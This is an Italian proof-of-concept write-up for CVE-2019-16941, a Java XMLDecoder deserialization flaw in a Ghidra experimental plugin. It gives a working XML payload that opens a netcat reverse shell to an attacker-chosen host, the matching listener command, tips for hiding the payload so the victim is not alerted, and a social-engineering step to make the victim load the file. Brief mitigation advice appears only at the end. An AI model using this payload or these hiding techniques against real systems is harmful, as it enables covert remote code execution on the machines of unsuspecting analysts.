CVE-2019-16941

Proof-of-Concept:

La vulnerabilità richiede condizioni multiple e relativamente improbabili per essere innescata, fatto che ne limita lo sfruttabilità. Tuttavia, serve poco sforzo e comprensione per preparare un payload, dato che può risultare in un'esecuzione arbitraria di codice.

Creazione del payload:

Per creare un payload da far eseguire al bersaglio, si può usare uno script incluso in Ghidra. Per accedervi, clicca "Window" -> "Script Manager" ed esegui "DumpFunctionPatternInfoScript.java" con i parametri predefiniti su qualsiasi binario che hai incluso nel Code Browser (ma assicurati che il percorso della cartella in cui vuoi salvare l'output esista). Questo script produce un file XML di output che verrà caricato successivamente nel componente vulnerabile.

Questo template XML può essere usato per iniettare l'oggetto che verrà deserializzato come codice Java ed eseguito silenziosamente, senza allertare l'utente. In sostanza, il codice malevolo verrà inserito come oggetto aggiuntivo alla fine del file XML, prima del tag di chiusura . Un esempio di payload ad oggetto che rappresenta una reverse shell è il seguente:

<object class="java.lang.Runtime" method="getRuntime"> 
  <void method="exec"> 
    <string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string> 
  </void> 
</object>

Quanto sopra verrà deserializzato nel seguente codice Java:

Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")

Le opzioni sono illimitate in termini di payload, poiché qualsiasi codice Java (anche malware sofisticati) potrebbe essere eseguito in questo modo, purché sia correttamente serializzato nel formato XML richiesto da XMLDecoder. Bisogna prestare attenzione se il payload viene inserito in un altro punto del template (per nasconderlo ulteriormente), poiché potrebbe generare eccezioni durante la deserializzazione, allertando così l'utente.

Esecuzione:

Il processo attraverso cui il payload viene eseguito fa uso della GUI di Ghidra e non può essere automatizzato. Richiede invece l'interazione umana della vittima, rappresentando questa un'ulteriore condizione per l'esecuzione dell'exploit.

Affinché questo exploit funzioni sul computer della vittima, Ghidra deve avere abilitato il plugin sperimentale "FunctionBitPatternsExplorer". Ciò può essere ottenuto seguendo i passaggi seguenti:

Successivamente, all'utente verrà richiesto di aprire il plugin da "Window" -> "Function Bit Patterns Explorer" e caricare il file XML usando la funzionalità "Read XML Files". Questo, tuttavia, solleva un'altra sfida per la sezione delle condizioni. L'attaccante ha bisogno di un modo per indurre l'utente a scaricare il payload XML sulla propria macchina.

Tornando alla prospettiva della vittima, la funzione non mostrerà i file XML nell'elenco, quindi se la tua directory sembra vuota è normale. Se inizi a digitare il loro nome nella casella di testo "File name", appariranno; tuttavia è importante non selezionarne nessuno e lasciare il selettore puntato sulla directory, poiché preleverà i file da solo.

Prima che l'utente clicchi "OK", l'attaccante (joe) dovrà avere un listener in esecuzione sul proprio host remoto e attendere la connessione. Ciò può essere facilmente ottenuto usando:

$ nc -lvnp <listening_port>

Dopo l'esecuzione, i risultati possono essere visti qui sotto:

La vulnerabilità è altamente improbabile che sia sfruttabile su larga scala a causa della moltitudine di condizioni richieste. Fino a quando non verrà fornita una nuova patch, le migliori circostanze di mitigazione implicano la disabilitazione (o il non abilitare in primo luogo) del plugin sperimentale interessato. Tuttavia, nel caso in cui il plugin debba essere usato, i file XML dovrebbero provenire da una fonte attendibile.